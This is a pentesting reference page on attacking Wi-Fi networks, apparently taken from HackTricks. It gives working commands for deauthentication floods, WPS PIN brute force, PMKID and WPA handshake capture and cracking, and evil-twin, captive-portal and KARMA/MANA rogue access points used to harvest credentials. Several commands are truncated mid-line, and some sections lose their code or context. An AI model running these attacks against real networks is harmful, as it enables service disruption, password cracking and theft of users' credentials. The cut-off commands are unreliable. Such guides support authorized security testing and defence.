Pentesting Wifi - HackTricks - HackTricks
Pentesting Wifi - HackTricks - HackTricks
Pentesting Wifi
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team
Expert)!
Join HackenProof Discord server to communicate with experienced hackers and bug
bounty hunters!
Hacking Insights
Engage with content that delves into the thrill and challenges of hacking
Real-Time Hack News
Keep up-to-date with fast-paced hacking world through real-time news and insights
Latest Announcements
Stay informed with the newest bug bounties launching and crucial platform updates
Join us on Discord and start collaborating with top hackers today!
Tools
EAPHammer
git clone https://github.com/s0lst1c3/eaphammer.git
./kali-setup
Airgeddon
mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server
apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff
wifiphisher
It can perform Evil Twin, KARMA, and Known Beacons attacks and then use a phishing
template to manage to obtain the network real password or capture social network
credentials.
git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest re
cd wifiphisher # Switch to tool's directory
sudo python setup.py install # Install any dependencies
Wifite2
This tool automates WPS/WEP/WPA-PSK attacks. It will automatically:
Set the interface in monitor mode
Scan for possible networks - And let you select the victim(s)
If WEP - Launch WEP attacks
If WPA-PSK
If WPS: Pixie dust attack and the bruteforce attack (be careful the brute-force attack
could take a long time). Notice that it doesn't try null PIN or database/generated
PINs.
Try to capture the PMKID from the AP to crack it
Try to deauthenticate clients of the AP to capture a handshake
If PMKID or Handshake, try to bruteforce using top5000 passwords.
Attacks Summary
DoS
Deauthentication/disassociation -- Disconnect everyone (or a specific ESSID/Client)
Random fake APs -- Hide nets, possible crash scanners
Overload AP -- Try to kill the AP (usually not very useful)
WIDS -- Play with the IDS
TKIP, EAPOL -- Some specific attacks to DoS some APs
Cracking
Crack WEP (several tools and methods)
WPA-PSK
WPS pin "Brute-Force"
WPA PMKID bruteforce
[DoS +] WPA handshake capture + Cracking
WPA-MGT
Username capture
Bruteforce Credentials
Evil Twin (with or without DoS)
Open Evil Twin [+ DoS] -- Useful to capture captive portal creds and/or perform LAN
attacks
WPA-PSK Evil Twin -- Useful to network attacks if you know the password
WPA-MGT -- Useful to capture company credentials
KARMA, MANA, Loud MANA, Known beacon
+ Open -- Useful to capture captive portal creds and/or perform LAN attacks
+ WPA -- Useful to capture WPA handshakes
DOS
Deauthentication Packets
Description from here:.
Deauthentication attacks, a prevalent method in Wi-Fi hacking, involve forging
"management" frames to forcefully disconnect devices from a network. These
unencrypted packets deceive clients into believing they are from the legitimate network,
enabling attackers to collect WPA handshakes for cracking purposes or to persistently
disrupt network connections. This tactic, alarming in its simplicity, is widely used and has
significant implications for network security.
Deauthentication using Aireplay-ng
aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
-0 means deauthentication
1 is the number of deauths to send (you can send multiple if you wish); 0 means send
them continuously
-a 00:14:6C:7E:40:80 is the MAC address of the access point
-c 00:0F:B5:34:30:30 is the MAC address of the client to deauthenticate; if this is
omitted then broadcast deauthentication is sent (not always work)
ath0 is the interface name
Disassociation Packets
Disassociation packets, similar to deauthentication packets, are a type of management
frame used in Wi-Fi networks. These packets serve to sever the connection between a
device (such as a laptop or smartphone) and an access point (AP). The primary distinction
between disassociation and deauthentication lies in their usage scenarios. While an AP
emits deauthentication packets to remove rogue devices explicitly from the network,
disassociation packets are typically sent when the AP is undergoing a shutdown, restart,
or relocating, thereby necessitating the disconnection of all connected nodes.
This attack can be performed by mdk4(mode "d"):
# -c <channel>
# -b victim_client_mac.txt contains the MAC address of the device to eliminate
# -e WifiName is the name of the wifi
# -B BSSID is the BSSID of the AP
# Notice that these and other parameters aare optional, you could give onli the
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
Airggedon
Airgeddon offers most of the attacks proposed in the previous comments:
WPS
WPS (Wi-Fi Protected Setup) simplifies the process of connecting devices to a router,
enhancing the setup speed and ease for networks encrypted with WPA or WPA2 Personal.
It is ineffective for the easily compromised WEP security. WPS employs an 8-digit PIN,
validated in two halves, making it susceptible to brute-force attacks due to its limited
number of combinations (11,000 possibilities).
WPS Bruteforce
There are 2 main tools to perform this action: Reaver and Bully.
Reaver has been designed to be a robust and practical attack against WPS, and has
been tested against a wide variety of access points and WPS implementations.
Bully is a new implementation of the WPS brute force attack, written in C. It has several
advantages over the original reaver code: fewer dependencies, improved memory and
cpu performance, correct handling of endianness, and a more robust set of options.
The attack exploits the WPS PIN's vulnerability, particularly its exposure of the first four
digits and the last digit's role as a checksum, easing the brute-force attack. However,
defenses against brute-force attacks, like blocking MAC addresses of aggressive
attackers, demand MAC address rotation to continue the attack.
Upon obtaining the WPS PIN with tools like Bully or Reaver, the attacker can deduce the
WPA/WPA2 PSK, ensuring persistent network access.
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
If you don't want to switch the device into monitor mode, or reaver and bully have
some problem, you can try OneShot-C. This tools can performs Pixie Dust attack without
having to switch to monitor mode.
./oneshot -i wlan0 -K -b 00:C0:CA:78:B1:37
Airgeddon
All the proposed WPS attacks can be easily performed using airgeddon.
5 and 6 lets you try your custom PIN (if you have any)
7 and 8 perform the Pixie Dust attack
13 allows you to test the NULL PIN
11 and 12 will recollect the PINs related to the selected AP from available databases
and generate possible PINs using: ComputePIN, EasyBox and optionally Arcadyan
(recommended, why not?)
9 and 10 will test every possible PIN
WEP
So broken and unused nowdays. Just know that airgeddon have a WEP option called "All-
in-One" to attack this kind of protection. More tools offer similar options.
Join HackenProof Discord server to communicate with experienced hackers and bug
bounty hunters!
Hacking Insights
Engage with content that delves into the thrill and challenges of hacking
Real-Time Hack News
Keep up-to-date with fast-paced hacking world through real-time news and insights
Latest Announcements
Stay informed with the newest bug bounties launching and crucial platform updates
Join us on Discord and start collaborating with top hackers today!
WPA/WPA2 PSK
PMKID
In 2018, hashcat revealed a new attack method, unique because it only needs one single
packet and doesn't require any clients to be connected to the target AP—just interaction
between the attacker and the AP.
Many modern routers add an optional field to the first EAPOL frame during association,
known as Robust Security Network . This includes the PMKID .
As the original post explains, the PMKID is created using known data:
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
Given that the "PMK Name" is constant, we know the BSSID of the AP and the station, and
the PMK is identical to the one from a full 4-way handshake, hashcat can use this
information to crack the PSK and recover the passphrase!
To gather this information and bruteforce locally the password you can do:
airmon-ng check kill
airmon-ng start wlan0
git clone https://github.com/ZerBea/hcxdumptool.git; cd hcxdumptool; make; make
hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
The PMKIDs captured will be shown in the console and also saved inside _
/tmp/attack.pcap_
Now, convert the capture to hashcat/john format and crack it:
hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
Handshake capture
An attack on WPA/WPA2 networks can be executed by capturing a handshake and
attempting to crack the password offline. This process involves monitoring the
communication of a specific network and BSSID on a particular channel. Here's a
streamlined guide:
1. Identify the BSSID, channel, and a connected client of the target network.
2. Use airodump-ng to monitor the network traffic on the specified channel and BSSID,
hoping to capture a handshake. The command will look like this:
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pca
Note that as the client was deauthenticated it could try to connect to a different AP or, in
other cases, to a different network.
Once in the airodump-ng appears some handshake information this means that the
handshake was captured and you can stop listening:
tshark
tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the
cowpatty
cowpatty -r psk-01.cap -s "ESSID" -f -
If this tool finds an uncompleted handshake of an ESSID before the completed one, it won't
detect the valid one.
pyrit
apt-get install pyrit #Not working for newer versions of kali
pyrit -r psk-01.cap analyze
Username Capture
Reading https://tools.ietf.org/html/rfc3748#page-27 it looks like if you are using EAP the
"Identity" messages must be supported, and the username is going to be sent in clear in
the "Response Identity" messages.
Even using one of the most secure of authentication methods: PEAP-EAP-TLS, it is
possible to capture the username sent in the EAP protocol. To do so, capture a
authentication communication (start airodump-ng inside a channel and wireshark in
the same interface) and filter the packets by eapol .
Inside the "Response, Identity" packet, the username of the client will appear.
Anonymous Identities
Identity hiding is supported by both EAP-PEAP and EAP-TTLS. In the context of a WiFi
network, an EAP-Identity request is typically initiated by the access point (AP) during the
association process. To ensure the protection of user anonymity, the response from the
EAP client on the user's device contains only the essential information required for the
initial RADIUS server to process the request. This concept is illustrated through the
following scenarios:
EAP-Identity = anonymous
In this scenario, all users employ the pseudonymous "anonymous" as their user
identifier. The initial RADIUS server functions as either an EAP-PEAP or EAP-TTLS
server, responsible for managing the server-side of the PEAP or TTLS protocol. The
inner (protected) authentication method is then either handled locally or delegated to
a remote (home) RADIUS server.
EAP-Identity = anonymous@realm_x
In this situation, users from different realms conceal their identities while indicating
their respective realms. This allows the initial RADIUS server to proxy the EAP-PEAP
or EAP-TTLS requests to RADIUS servers in their home realms, which act as the PEAP
or TTLS server. The initial RADIUS server operates solely as a RADIUS relay node.
Alternatively, the initial RADIUS server may function as the EAP-PEAP or EAP-TTLS
server and either handle the protected authentication method or forward it to another
server. This option facilitates the configuration of distinct policies for various realms.
In EAP-PEAP, once the TLS tunnel is established between the PEAP server and the PEAP
client, the PEAP server initiates an EAP-Identity request and transmits it through the TLS
tunnel. The client responds to this second EAP-Identity request by sending an EAP-Identity
response containing the user's true identity through the encrypted tunnel. This approach
effectively prevents the revelation of the user's actual identity to anyone eavesdropping on
the 802.11 traffic.
EAP-TTLS follows a slightly different procedure. With EAP-TTLS, the client typically
authenticates using PAP or CHAP, secured by the TLS tunnel. In this case, the client
includes a User-Name attribute and either a Password or CHAP-Password attribute in the
initial TLS message sent after tunnel establishment.
Regardless of the protocol chosen, the PEAP/TTLS server obtains knowledge of the user's
true identity after the TLS tunnel has been established. The true identity can be
represented as user@realm or simply user. If the PEAP/TTLS server is also responsible for
authenticating the user, it now possesses the user's identity and proceeds with the
authentication method protected by the TLS tunnel. Alternatively, the PEAP/TTLS server
may forward a new RADIUS request to the user's home RADIUS server. This new RADIUS
request omits the PEAP or TTLS protocol layer. In cases where the protected authentication
method is EAP, the inner EAP messages are transmitted to the home RADIUS server
without the EAP-PEAP or EAP-TTLS wrapper. The User-Name attribute of the outgoing
RADIUS message contains the user's true identity, replacing the anonymous User-Name
from the incoming RADIUS request. When the protected authentication method is PAP or
CHAP (supported only by TTLS), the User-Name and other authentication attributes
extracted from the TLS payload are substituted in the outgoing RADIUS message,
displacing the anonymous User-Name and TTLS EAP-Message attributes found in the
incoming RADIUS request.
For more info check https://www.interlinknetworks.com/app_notes/eap-peap.htm
Passive Scanning
APs periodically broadcast beacon frames, announcing their presence and features,
including the AP's ESSID unless broadcasting is disabled.
During passive scanning, stations listen for beacon frames. If a beacon's ESSID matches
an entry in the station's PNL, the station may automatically connect to that AP.
Knowledge of a device's PNL allows for potential exploitation by mimicking a known
network's ESSID, tricking the device into connecting to a rogue AP.
Active Probing
Active probing involves stations sending probe requests to discover nearby APs and
their characteristics.
Directed probe requests target a specific ESSID, helping detect if a particular network is
within range, even if it's a hidden network.
Broadcast probe requests have a null SSID field and are sent to all nearby APs, letting
the station check for any preferred network without disclosing its PNL contents.
hostapd
apt-get install hostapd
Evil Twin
An evil twin attack exploits the way WiFi clients recognize networks, primarily relying on the
network name (ESSID) without requiring the base station (access point) to authenticate
itself to the client. Key points include:
Difficulty in Differentiation: Devices struggle to distinguish between legitimate and
rogue access points when they share the same ESSID and encryption type. Real-world
networks often use multiple access points with the same ESSID to extend coverage
seamlessly.
Client Roaming and Connection Manipulation: The 802.11 protocol allows devices to
roam between access points within the same ESS. Attackers can exploit this by luring a
device to disconnect from its current base station and connect to a rogue one. This can
be achieved by offering a stronger signal or disrupting the connection to the legitimate
access point through methods like deauthentication packets or jamming.
Challenges in Execution: Successfully executing an evil twin attack in environments
with multiple, well-placed access points can be challenging. Deauthenticating a single
legitimate access point often results in the device connecting to another legitimate
access point unless the attacker can deauthenticate all nearby access points or
strategically place the rogue access point.
You can create a very basic Open Evil Twin (no capabilities to route traffic to Internet)
doing:
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
You could also create an Evil Twin using eaphammer (notice that to create evil twins with
eaphammer the interface should NOT be in monitor mode):
./eaphammer -i wlan0 --essid exampleCorp --captive-portal
In the configuration file you can select a lot of different things like ssid, channel, user files,
cret/key, dh parameters, wpa version and auth...
Using hostapd-wpe with EAP-TLS to allow any certificate to login.
Using EAPHammer
# Generate Certificates
./eaphammer --cert-wizard
# Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds
By default, EAPHammer purposes this authentication methods (notice GTC as the first one
to try to obtain plaintext passwords and then the use of more robust auth methods):
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
This is the default methodology to avoid long connection times. However, you can also
specify to server the authentication methods from weakest to strongest:
--negotiate weakest
Add a new entry and fill the form with this values: IP address = any -- Port = 0 -- Protocol
= data -- Key File (select your key file, to avoid problems select a key file without being
password protected).
And look at the new "Decrypted TLS" tab:
[--ssid-whitelist /path/to/mac/whitelist/file.txt]
[--ssid-blacklist /path/to/mac/blacklist/file.txt]
KARMA
This method allows an attacker to create a malicious access point (AP) that responds to
all probe requests from devices seeking to connect to networks. This technique tricks
devices into connecting to an attacker's AP by mimicking the networks the devices are
searching for. Once a device sends a connection request to this rogue AP, it completes the
connection, leading the device to mistakenly connect to the attacker's network.
MANA
Then, devices started to ignore unsolicited network responses, reducing the
effectiveness of the original karma attack. However, a new method, known as the MANA
attack, was introduced by Ian de Villiers and Dominic White. This method involves the
rogue AP capturing the Preferred Network Lists (PNL) from devices by responding to
their broadcast probe requests with network names (SSIDs) previously solicited by the
devices. This sophisticated attack bypasses the protections against the original karma
attack by exploiting the way devices remember and prioritize known networks.
The MANA attack operates by monitoring both directed and broadcast probe requests from
devices. For directed requests, it records the device's MAC address and the requested
network name, adding this information to a list. When a broadcast request is received, the
AP responds with information matching any of the networks on the device's list, enticing
the device to connect to the rogue AP.
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--capt
Loud MANA
A Loud MANA attack is an advanced strategy for when devices do not use directed
probing or when their Preferred Network Lists (PNL) are unknown to the attacker. It
operates on the principle that devices in the same area are likely to share some network
names in their PNLs. Instead of responding selectively, this attack broadcasts probe
responses for every network name (ESSID) found in the combined PNLs of all observed
devices. This broad approach increases the chance of a device recognizing a familiar
network and attempting to connect to the rogue Access Point (AP).
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa
Wi-Fi Direct
Wi-Fi Direct is a protocol enabling devices to link directly with each other using Wi-Fi
without the need for a traditional wireless access point. This capability is integrated into
various Internet of Things (IoT) devices, such as printers and televisions, facilitating direct
device-to-device communication. A notable feature of Wi-Fi Direct is that one device takes
on the role of an access point, known as the group owner, to manage the connection.
Security for Wi-Fi Direct connections is established through Wi-Fi Protected Setup (WPS),
which supports several methods for secure pairing, including:
Push-Button Configuration (PBC)
PIN entry
Near-Field Communication (NFC)
These methods, particularly PIN entry, are susceptible to the same vulnerabilities as WPS in
traditional Wi-Fi networks, making them targets for similar attack vectors.
EvilDirect Hijacking
EvilDirect Hijacking is an attack specific to Wi-Fi Direct. It mirrors the concept of an Evil
Twin attack but targets Wi-Fi Direct connections. In this scenario, an attacker impersonates
a legitimate group owner with the aim of deceiving devices into connecting to a malicious
entity. This method can be executed using tools like airbase-ng by specifying the
channel, ESSID, and MAC address of the impersonated device:
References
https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-
twin-and-karma-attacks-35a8571550ee
https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-
attacks-97a359d385f9
https://posts.specterops.io/modern-wireless-tradecraft-pt-iii-management-frame-
access-control-lists-mfacls-22ca7f314a38
https://posts.specterops.io/modern-wireless-tradecraft-pt-iv-tradecraft-and-detection-
d1a95da4bb4d
https://github.com/gdssecurity/Whitepapers/blob/master/GDS%20Labs%20-
%20Identifying%20Rogue%20Access%20Point%20Attacks%20Using%20Probe%20Resp
onse%20Patterns%20and%20Signal%20Strength.pdf
http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/
https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-
PMKID-client-less-attack/
https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-
1147d72f464d
https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-
Attack)
https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-
PMKID-client-less-attack/
TODO: Take a look to https://github.com/wifiphisher/wifiphisher (login con facebook e
imitacionde WPA en captive portals)
Join HackenProof Discord server to communicate with experienced hackers and bug
bounty hunters!
Hacking Insights
Engage with content that delves into the thrill and challenges of hacking
Real-Time Hack News
Keep up-to-date with fast-paced hacking world through real-time news and insights
Latest Announcements
Stay informed with the newest bug bounties launching and crucial platform updates
Join us on Discord and start collaborating with top hackers today!
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team
Expert)!
Previous
Spoofing SSDP and UPnP Devices with EvilSSDP
Next
Evil Twin EAP-TLS
Last updated 1 month ago